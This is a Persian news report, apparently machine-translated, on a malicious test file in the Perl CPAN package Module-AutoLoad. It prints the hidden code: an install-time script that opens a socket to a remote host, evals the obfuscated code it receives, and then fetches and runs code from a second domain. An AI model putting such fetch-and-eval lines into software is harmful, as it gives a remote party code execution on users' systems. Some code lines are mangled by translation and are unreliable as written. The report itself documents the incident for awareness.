کد مخرب در بسته Module-AutoLoad Perl شناسایی شد

در یک بسته پرل که از طریق دایرکتوری CPAN توزیع شده است Module-AutoLoadطراحی شده برای بارگیری خودکار ماژول های CPAN در پرواز، شناخته شده است کد مخرب درج مخرب بود یافت در کد تست 05_rcx.t، که از سال 2011 ارسال شده است.
قابل ذکر است که سوالاتی در مورد بارگذاری کد مشکوک در این مورد مطرح شد استک اورفلو در سال 2016

فعالیت مخرب به تلاش برای دانلود و اجرای کد از یک سرور شخص ثالث (http://r.cx:1/) در حین اجرای یک مجموعه آزمایشی که هنگام نصب ماژول راه اندازی شده است خلاصه می شود. فرض بر این است که کدی که ابتدا از سرور خارجی دانلود شده بود، مخرب نبوده است، اما اکنون درخواست به دامنه ww.limera1n.com هدایت می شود که بخشی از کد آن را برای اجرا ارائه می دهد.

برای سازماندهی دانلود در یک فایل 05_rcx.t کد زیر استفاده می شود:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

کد مشخص شده باعث می شود اسکریپت اجرا شود ../contrib/RCX.pl، که محتویات آن به خط کاهش می یابد:

از lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″} استفاده کنید.

این اسکریپت بارگیری می شود سردرگم با استفاده از سرویس perlobfuscator.com کد از میزبان خارجی r.cx (کدهای کاراکتر 82.46.99.88 با متن "R.cX" مطابقت دارد) و آن را در بلوک eval اجرا می کند.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; چاپ <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

پس از باز کردن بسته بندی، در نهایت موارد زیر اجرا می شود: رمز:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@while$b;1

بسته مشکل ساز اکنون از مخزن حذف شده است. PAUSE (سرور آپلود نویسندگان Perl)، و حساب نویسنده ماژول مسدود شده است. در این مورد، ماژول همچنان باقی می ماند در دسترس در بایگانی MetaCPAN است و می تواند مستقیماً از MetaCPAN با استفاده از برخی ابزارها مانند cpanminus نصب شود. یادداشت شده - مورد دقت نظر واقع شدهکه بسته به طور گسترده توزیع نشده است.

بحث کردن جالبه متصل و نویسنده ماژول که اطلاعاتی مبنی بر درج کدهای مخرب پس از هک شدن سایت او "r.cx" را تکذیب کرد و توضیح داد که او فقط سرگرم سرگرمی است و از perlobfuscator.com نه برای پنهان کردن چیزی، بلکه برای کاهش اندازه استفاده کرد. کد و ساده سازی کپی آن از طریق کلیپ بورد. انتخاب نام تابع "botstrap" با این واقعیت توضیح داده می شود که این کلمه "به نظر می رسد مانند bot و کوتاهتر از bootstrap است." نویسنده ماژول همچنین اطمینان داد که دستکاری های شناسایی شده اقدامات مخرب را انجام نمی دهند، بلکه فقط بارگذاری و اجرای کد را از طریق TCP نشان می دهند.

منبع: opennet.ru

اضافه کردن نظر